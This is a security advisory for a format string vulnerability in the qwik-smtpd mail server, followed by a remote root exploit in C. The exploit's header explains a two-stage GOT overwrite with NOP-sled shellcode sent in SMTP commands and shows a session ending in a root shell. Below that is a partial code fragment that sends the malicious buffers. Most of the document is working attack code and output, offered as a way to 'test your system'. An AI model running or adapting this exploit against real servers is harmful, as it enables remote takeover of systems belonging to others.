The QwikMail SMTP server (qwik-smtpd) is "a fast, secure, and efficient mail server (MTA). It is written in C and many security precautions have been taken to ensure that the code is safe".
A format string vulnerability in qwik-smtpd allows a remote attacker to cause it to execute arbitrary code. The following exploit code can be used to test your system for the mentioned vulnerability.
Credit:
The information has been provided by Carlos Barros.
Exploit:
/*
** qwik-smtp Remote Root Exploit
** -------------------------------
**
** Bug found by: Dark Eagle <darkeagle [at] list d0t ru>
** Exploit coded by: Carlos Barros <barros [at] barrossecurity d0t com>
** Home Page: http://www.barrossecurity.com
**
** Exploitation techinique:
**
** This bug is a simple format string bug. While coding this exploit, I found just two
** "problems". The first is that our buffer is only 32 bytes long and the second is that
** qwik-smtpd filters spaces chars with the isspace(), this way our 0x0b code used in the
** shellcode is filtered. To circumvent the first problem I divided the exploit in two
** stages. The first one overwrite the LSW of the exit() GOT entry and the second overwrite
** the MSW. Then, we send an EXIT command forcing the qwik-smtpd to jump into our shellcode.
** The second problem was "fixed" using another char (0x10) and then decrementing it before
** calling the int 0x80 syscall.
**
** Notes:
**
** You MUST enter your external IP Address (when attacking remotely) or 127.0.0.1 (when
** attacking locally) cause its IP is printed before our buffer, so its length MUST enter
** in the calculation of the format string attack.
**
** sprintf(Received,"Received: from %s (HELO %s) (%s) by %s with SMTP; %s\n",
** clientHost, clientHelo, clientIP, localHost, timebuf);
** ----------
** Destination MUST be one valid email address on the target machine. If not, it will reply
** with one erro code like this:
**
** -> Sending RCPT TO ... ERROR - 550 user not here
**
** Screenshot:
**
** [barros@BarrosSecurity qwik]$ ./a.out -h localhost -u barros@teste.com -t 0 -i 127.0.0.1
**
** ==[ qwik_smtpd Remote Format String Exploit, bY Carlos Barros ]==
**
** *** Target plataform : qwik_smtpd 0.3 - Fedor Core 2
** *** Target host : localhost
** *** Target port : 25
** *** Target GOT : 0x0804b2e8
**
** *** Target Retaddr : 0xfeffe6f0
**
** -> Connecting ... OK
** -> Getting the banner ... 220 SMTP service ready
**
** *** STAGE 1 ***
**
** -> Creating EvilBuffer ... OK
** -> Sending HELO with EvilBuffer ... OK
** -> Sending MAIL FROM with Shellcode ... OK
** -> Sending RCPT TO ... OK
** -> Sending DATA ... OK
** -> Sending "." ... OK
**
** *** STAGE 2 ***
**
** -> Creating EvilBuffer ... OK
** -> Sending HELO with EvilBuffer ... OK
** -> Sending MAIL FROM with Shellcode ... OK
** -> Sending RCPT TO ... OK
** -> Sending DATA ... OK
** -> Sending "." ... OK
** -> Attacking ... OK
**
** Try to send some commands. If doesn't work, hit CTRL+C to exit
**
** Linux BarrosSecurity 2.6.8-1.521 #1 Mon Aug 16 09:01:18 EDT 2004 i686 i686 i386 GNU/Linux
** uid=0(root) gid=0(root)
** exit
** [barros@BarrosSecurity qwik]$
*/
fprintf(stdout,"-> Sending HELO with EvilBuffer ... ");
fflush(stdout);
SendBufferAndVerify(Sock,EvilBuffer,"250",0);
free(EvilBuffer);
fprintf(stdout,"-> Sending MAIL FROM with Shellcode ... ");
fflush(stdout);
// Create the string MAIL FROM NOP+SHELLCODE
strcpy(Mail_From,"mail from ");
memset(Mail_From+10,NOP,NOPSIZE);
Mail_From[10+NOPSIZE-1] = 0;
strcat(Mail_From,Shellcode);
strcat(Mail_From,"\n");
SendBufferAndVerify(Sock,Mail_From,"250",0);
fprintf(stdout,"-> Sending RCPT TO ... ");
fflush(stdout);
snprintf(Buffer,MAX_BUFFER,"rcpt to %s\n",Rcpt_TO);
SendBufferAndVerify(Sock,Buffer,"250","251");
fprintf(stdout,"-> Sending DATA ... ");
fflush(stdout);